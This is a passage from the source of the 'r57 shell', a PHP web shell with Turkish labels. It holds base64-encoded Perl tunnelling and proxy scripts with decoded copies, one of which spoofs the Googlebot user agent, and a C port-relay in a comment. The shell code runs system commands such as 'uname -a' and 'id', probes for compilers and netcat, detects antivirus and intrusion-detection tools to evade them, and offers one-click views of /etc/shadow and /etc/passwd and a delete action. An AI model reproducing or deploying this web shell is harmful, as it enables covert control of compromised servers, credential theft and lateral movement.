3571 }
3572
3573 if (nbyt > 0)
3574
3575 return 0;
3576
3577 setsid();
3578
3579 while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
3580
3581 cfile = fdopen(csock,"r+");
3582
3583 if ((nbyt = fork()) == -1) {
3584
3585 fprintf(cfile, "500 fork: %s\n", strerror(errno));
3586
3587 shutdown(csock,2);
3588
3589 fclose(cfile);
3590
3591 continue;
3592
3593 }
3594
3595 if (nbyt == 0)
3596
3597 goto gotsock;
3598
3599 fclose(cfile);
3600
3601 while (waitpid(-1, NULL, WNOHANG) > 0);
3602
3603 }
3604
3605 return 20;
3606
3607
3608
3609 gotsock:
3610
3611 if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
3612
3613 fprintf(cfile, "500 socket: %s\n", strerror(errno));
3614
3615 goto quit1;
3616
3617 }
3618
3619 oaddr.sin_family = h->h_addrtype;
3620
3621 oaddr.sin_port = htons(oport);
3622
3623 memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
3624
3625 if (connect(osock, &oaddr, sizeof(oaddr))) {
3626
3627 fprintf(cfile, "500 connect: %s\n", strerror(errno));
3628
3629 goto quit1;
3630
3631 }
3632
3633 while (1) {
3634
3635 FD_ZERO(&fdsr);
3636
3637 FD_ZERO(&fdse);
3638
3639 FD_SET(csock,&fdsr);
3640
3641 FD_SET(csock,&fdse);
3642
3643 FD_SET(osock,&fdsr);
3644
3645 FD_SET(osock,&fdse);
3646
3647 if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
3648
3649 fprintf(cfile, "500 select: %s\n", strerror(errno));
3650
3651 goto quit2;
3652
3653 }
3654
3655 if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
3656
3657 if ((nbyt = read(csock,buf,4096)) <= 0)
3658
3659 goto quit2;
3660
3661 if ((write(osock,buf,nbyt)) <= 0)
3662
3663 goto quit2;
3664
3665 } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
3666
3667 if ((nbyt = read(osock,buf,4096)) <= 0)
3668
3669 goto quit2;
3670
3671 if ((write(csock,buf,nbyt)) <= 0)
3672
3673 goto quit2;
3674
3675 }
3676
3677 }
3678
3679
3680
3681 quit2:
3682
3683 shutdown(osock,2);
3684
3685 close(osock);
3686
3687 quit1:
3688
3689 fflush(cfile);
3690
3691 shutdown(csock,2);
3692
3693 quit0:
3694
3695 fclose(cfile);
3696
3697 return 0;
3698
3699}
3700
3701
3702
3703*/
3704
3705
3706
3707$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
3708
3709CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
3710
3711bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
3712
3713gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
3714
3715NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
3716
3717iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
3718
3719aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
3720
3721SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
3722
3723xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
3724
3725WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
3726
3727CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
3728
3729yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
3730
3731I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
3732
3733m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
3734
3735IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
3736
3737lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
3738
3739QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
3740
3741CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
3742
3743c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
3744
3745NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
3746
3747UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
3748
3749DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
3750
3751ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
3752
37531ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
3754
3755
3756
3757/* ?ST SATIRIN KIRILMI? HAL? */
3758
3759/*
3760
3761
3762
3763#!/usr/bin/perl
3764
3765use IO::Socket;
3766
3767use POSIX;
3768
3769$localport = $ARGV[0];
3770
3771$host = $ARGV[1];
3772
3773$port = $ARGV[2];
3774
3775$daemon=1;
3776
3777$DIR = undef;
3778
3779$| = 1;
3780
3781if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; }
3782
3783%o = ('port' => $localport,'toport' => $port,'tohost' => $host);
3784
3785$ah = IO::Socket::INET->new('LocalPort' => $localport,'Reuse' => 1,'Listen' => 10) || die "$!";
3786
3787$SIG{'CHLD'} = 'IGNORE';
3788
3789$num = 0;
3790
3791while (1) {
3792
3793$ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; }
3794
3795++$num;
3796
3797$pid = fork();
3798
3799if (!defined($pid)) { print STDERR "$!\n"; }
3800
3801elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); }
3802
3803else { $ch->close(); }
3804
3805}
3806
3807sub Run {
3808
3809my($o, $ch, $num) = @_;
3810
3811my $th = IO::Socket::INET->new('PeerAddr' => $o->{'tohost'},'PeerPort' => $o->{'toport'});
3812
3813if (!$th) { exit 0; }
3814
3815my $fh;
3816
3817if ($o->{'dir'}) { $fh = Symbol::gensym(); open($fh, ">$o->{'dir'}/tunnel$num.log") or die "$!"; }
3818
3819$ch->autoflush();
3820
3821$th->autoflush();
3822
3823while ($ch || $th) {
3824
3825my $rin = "";
3826
3827vec($rin, fileno($ch), 1) = 1 if $ch;
3828
3829vec($rin, fileno($th), 1) = 1 if $th;
3830
3831my($rout, $eout);
3832
3833select($rout = $rin, undef, $eout = $rin, 120);
3834
3835if (!$rout && !$eout) {}
3836
3837my $cbuffer = "";
3838
3839my $tbuffer = "";
3840
3841if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) {
3842
3843my $result = sysread($ch, $tbuffer, 1024);
3844
3845if (!defined($result)) {
3846
3847print STDERR "$!\n";
3848
3849exit 0;
3850
3851}
3852
3853if ($result == 0) { exit 0; }
3854
3855}
3856
3857if ($th && (vec($eout, fileno($th), 1) || vec($rout, fileno($th), 1))) {
3858
3859my $result = sysread($th, $cbuffer, 1024);
3860
3861if (!defined($result)) { print STDERR "$!\n"; exit 0; }
3862
3863if ($result == 0) {exit 0;}
3864
3865}
3866
3867if ($fh && $tbuffer) {(print $fh $tbuffer);}
3868
3869while (my $len = length($tbuffer)) {
3870
3871my $res = syswrite($th, $tbuffer, $len);
3872
3873if ($res > 0) {$tbuffer = substr($tbuffer, $res);}
3874
3875else {print STDERR "$!\n";}
3876
3877}
3878
3879while (my $len = length($cbuffer)) {
3880
3881my $res = syswrite($ch, $cbuffer, $len);
3882
3883if ($res > 0) {$cbuffer = substr($cbuffer, $res);}
3884
3885else {print STDERR "$!\n";}
3886
3887}}}
3888
3889
3890
3891
3892
3893*/
3894
3895
3896
3897$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
3898
3899luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
3900
39010NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
3902
3903UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
3904
3905DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
3906
3907AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
3908
3909GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
3910
3911cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
3912
3913BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
3914
3915AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
3916
3917TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
3918
3919eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
3920
3921oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
3922
3923VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
3924
3925CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
3926
3927b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
3928
39290ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
3930
39319wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
3932
3933CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
3934
3935aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
3936
3937gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
3938
39399yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
3940
3941
3942
3943/* ?ST SATIRIN KIRILMI? HAL? */
3944
3945/*
3946
3947
3948
3949#!usr/bin/perl
3950
3951use Socket;
3952
3953my $port = $ARGV[0]||31337;
3954
3955my $protocol = getprotobyname('tcp');
3956
3957my $my_addr = sockaddr_in ($port, INADDR_ANY);
3958
3959socket (SOCK, AF_INET, SOCK_STREAM, $protocol) or die "socket(): $!";
3960
3961setsockopt (SOCK, SOL_SOCKET, SO_REUSEADDR,1 ) or die "setsockopt(): $!";
3962
3963bind (SOCK, $my_addr) or die "bind(): $!";
3964
3965listen (SOCK, SOMAXCONN) or die "listen(): $!";
3966
3967$SIG{'INT'} = sub {
3968
3969close (SOCK);
3970
3971exit;
3972
3973};
3974
3975while (1) {
3976
3977next unless my $remote_addr = accept (SESSION, SOCK);
3978
3979my ($fist, $method, $remote_host, $remote_port) = analyze_request();
3980
3981if(open_connection (REMOTE, $remote_host, $remote_port) == 0) {
3982
3983close (SESSION);
3984
3985next;
3986
3987}
3988
3989print REMOTE $first;
3990
3991print REMOTE "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
3992
3993while (<SESSION>) {
3994
3995next if (/Proxy-Connection:/ || /User-Agent:/);
3996
3997print REMOTE $_;
3998
3999last if ($_ =~ /^[\s\x00]*$/);
4000
4001}
4002
4003print REMOTE "\n";
4004
4005$header = 1;
4006
4007while (<REMOTE>) {
4008
4009print SESSION $_;
4010
4011if ($header) {
4012
4013if ($header && $_ =~ /^[\s\x00]*$/) {
4014
4015$header = 0;
4016
4017}
4018
4019}
4020
4021}
4022
4023close (REMOTE);
4024
4025close (SESSION);
4026
4027}
4028
4029close (SOCK);
4030
4031sub analyze_request {
4032
4033my ($fist, $url, $remote_host, $remote_port, $method);
4034
4035$first = <SESSION>;
4036
4037$url = ($first =~ m|(http://\S+)|)[0];
4038
4039($method, $remote_host, $remote_port) =
4040
4041($first =~ m!(GET) http://([^/:]+):?(\d*)! );
4042
4043if (!$remote_host) {
4044
4045close(SESSION);
4046
4047exit;
4048
4049}
4050
4051$remote_port = "http" unless ($remote_port);
4052
4053$first =~ s/http:\/\/[^\/]+//;
4054
4055return ($first, $method, $remote_host, $remote_port);
4056
4057}
4058
4059sub open_connection {
4060
4061my ($host, $port) = @_[1,2];
4062
4063my ($dest_addr, $cur);
4064
4065if ($port !~ /^\d+$/) {
4066
4067$port = (getservbyname($port, "tcp"))[2];
4068
4069$port = 80 unless ($port);
4070
4071}
4072
4073$host = inet_aton ($host) or return 0;
4074
4075$dest_addr = sockaddr_in ($port, $host);
4076
4077socket ($_[0], AF_INET, SOCK_STREAM, $protocol) or die "socket() : $!";
4078
4079connect ($_[0], $dest_addr) or return 0;
4080
4081$cur = select($_[0]);
4082
4083$| = 1;
4084
4085select($cur);
4086
4087return 1;
4088
4089}
4090
4091
4092
4093*/
4094
4095
4096
4097
4098
4099if($unix)
4100
4101{
4102
4103if(!isset($_COOKIE['uname'])) {$uname = ex('uname -a');setcookie('uname',$uname);}else {$uname = $_COOKIE['uname'];}
4104
4105if(!isset($_COOKIE['id'])) {$id = ex('id');setcookie('id',$id);}else {$id = $_COOKIE['id'];}
4106
4107if($safe_mode) {$sysctl = '-';}
4108
4109else if(isset($_COOKIE['sysctl'])) {$sysctl = $_COOKIE['sysctl'];}
4110
4111else
4112
4113{
4114
4115$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
4116
4117if(empty($sysctl)) {$sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease');}
4118
4119if(empty($sysctl)) {$sysctl = '-';}
4120
4121setcookie('sysctl',$sysctl);
4122
4123}
4124
4125}
4126
4127echo $head;
4128
4129echo '</head>';
4130
4131echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333 width=160><font face=Verdana size=2>'.ws(2).'<font face=tahoma size=2><b>r57 shell '.$version.'</b></font></td><td bgcolor=#333333><font face=Verdana size=-2>';
4132
4133echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
4134
4135if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";}
4136
4137if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";}
4138
4139echo " Server IP: [<a href=".gethostbyname($_SERVER["HTTP_HOST"])." target=iframe><font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font></a>]";
4140
4141echo "<br>";
4142
4143echo ws(2)."PHP version: <b>".@phpversion()."</b>";
4144
4145$curl_on = @function_exists('curl_version');
4146
4147echo ws(2);
4148
4149echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
4150
4151echo "</b>".ws(2);
4152
4153echo "MySQL: <b>";
4154
4155$mysql_on = @function_exists('mysql_connect');
4156
4157if($mysql_on){
4158
4159echo "<font color=green>ON</font>";}else {echo "<font color=red>Kapali</font>";}
4160
4161echo "</b>".ws(2);
4162
4163echo "MSSQL: <b>";
4164
4165$mssql_on = @function_exists('mssql_connect');
4166
4167if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
4168
4169echo "</b>".ws(2);
4170
4171echo "PostgreSQL: <b>";
4172
4173$pg_on = @function_exists('pg_connect');
4174
4175if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
4176
4177echo "</b>".ws(2);
4178
4179echo "Oracle: <b>";
4180
4181$ora_on = @function_exists('ocilogon');
4182
4183if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
4184
4185echo "</b><br>".ws(2);
4186
4187echo "Safe_mode: <b>";
4188
4189echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
4190
4191echo "</b>".ws(2);
4192
4193echo "Open_basedir: <b>";
4194
4195if($open_basedir) {if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4196
4197else {echo "<font color=red>NONE</font></b>";}
4198
4199echo ws(2)."Safe_mode_exec_dir: <b>";
4200
4201if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4202
4203else {echo "<font color=red>ini_get disable!</font></b>";}
4204
4205echo ws(2)."Safe_mode_include_dir: <b>";
4206
4207if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4208
4209else {echo "<font color=red>ini_get disable!</font></b>";}
4210
4211echo "<br>".ws(2);
4212
4213echo "Disable functions : <b>";$df='ini_get disable!';
4214
4215if((@function_exists('ini_get')) &&(''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
4216
4217$free = @diskfreespace($dir);
4218
4219if (!$free) {$free = 0;}
4220
4221$all = @disk_total_space($dir);
4222
4223if (!$all) {$all = 0;}
4224
4225echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
4226
4227$ust='';
4228
4229if($unix &&!$safe_mode){
4230
4231if (which('gcc')) {$ust.="gcc,";}
4232
4233if (which('cc')) {$ust.="cc,";}
4234
4235if (which('ld')) {$ust.="ld,";}
4236
4237if (which('php')) {$ust.="php,";}
4238
4239if (which('perl')) {$ust.="perl,";}
4240
4241if (which('python')) {$ust.="python,";}
4242
4243if (which('ruby')) {$ust.="ruby,";}
4244
4245if (which('make')) {$ust.="make,";}
4246
4247if (which('tar')) {$ust.="tar,";}
4248
4249if (which('nc')) {$ust.="netcat,";}
4250
4251if (which('locate')) {$ust.="locate,";}
4252
4253if (which('suidperl')) {$ust.="suidperl,";}
4254
4255}
4256
4257if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";}
4258
4259if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust."</font>";}
4260
4261$ust='';
4262
4263if($unix &&!$safe_mode){
4264
4265if (which('kav')) {$ust.="kav,";}
4266
4267if (which('nod32')) {$ust.="nod32,";}
4268
4269if (which('bdcored')) {$ust.="bitdefender,";}
4270
4271if (which('uvscan')) {$ust.="mcafee,";}
4272
4273if (which('sav')) {$ust.="symantec,";}
4274
4275if (which('drwebd')) {$ust="drwebd,";}
4276
4277if (which('clamd')) {$ust.="clamd,";}
4278
4279if (which('rkhunter')) {$ust.="rkhunter,";}
4280
4281if (which('chkrootkit')) {$ust.="chkrootkit,";}
4282
4283if (which('iptables')) {$ust.="iptables,";}
4284
4285if (which('ipfw')) {$ust.="ipfw,";}
4286
4287if (which('tripwire')) {$ust.="tripwire,";}
4288
4289if (which('shieldcc')) {$ust.="stackshield,";}
4290
4291if (which('portsentry')) {$ust.="portsentry,";}
4292
4293if (which('snort')) {$ust.="snort,";}
4294
4295if (which('ossec')) {$ust.="ossec,";}
4296
4297if (which('lidsadm')) {$ust.="lidsadm,";}
4298
4299if (which('tcplodg')) {$ust.="tcplodg,";}
4300
4301if (which('tripwire')) {$ust.="tripwire,";}
4302
4303if (which('sxid')) {$ust.="sxid,";}
4304
4305if (which('logcheck')) {$ust.="logcheck,";}
4306
4307if (which('logwatch')) {$ust.="logwatch,";}
4308
4309}
4310
4311if (@function_exists('apache_get_modules') &&@in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";}
4312
4313if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";}
4314
4315echo "<br>".ws(2)."</b>";
4316
4317echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
4318
4319echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
4320
4321echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
4322
4323echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
4324
4325if(!$unix) {
4326
4327echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
4328
4329}else{
4330
4331echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
4332
4333echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb;
4334
4335echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb;
4336
4337echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb;
4338
4339echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
4340
4341}
4342
4343echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
4344
4345echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
4346
4347if($unix &&!$safe_mode)
4348
4349{
4350
4351echo "<br>".ws(2)."</b>";
4352
4353echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
4354
4355echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb;
4356
4357echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb;
4358
4359echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
4360
4361echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
4362
4363echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb;
4364
4365echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
4366
4367echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
4368
4369echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb;
4370
4371echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb;
4372
4373echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
4374
4375echo "<br>".ws(2)."</b>";
4376
4377echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb;
4378
4379echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who\"><b>who</b></a> ".$rb;
4380
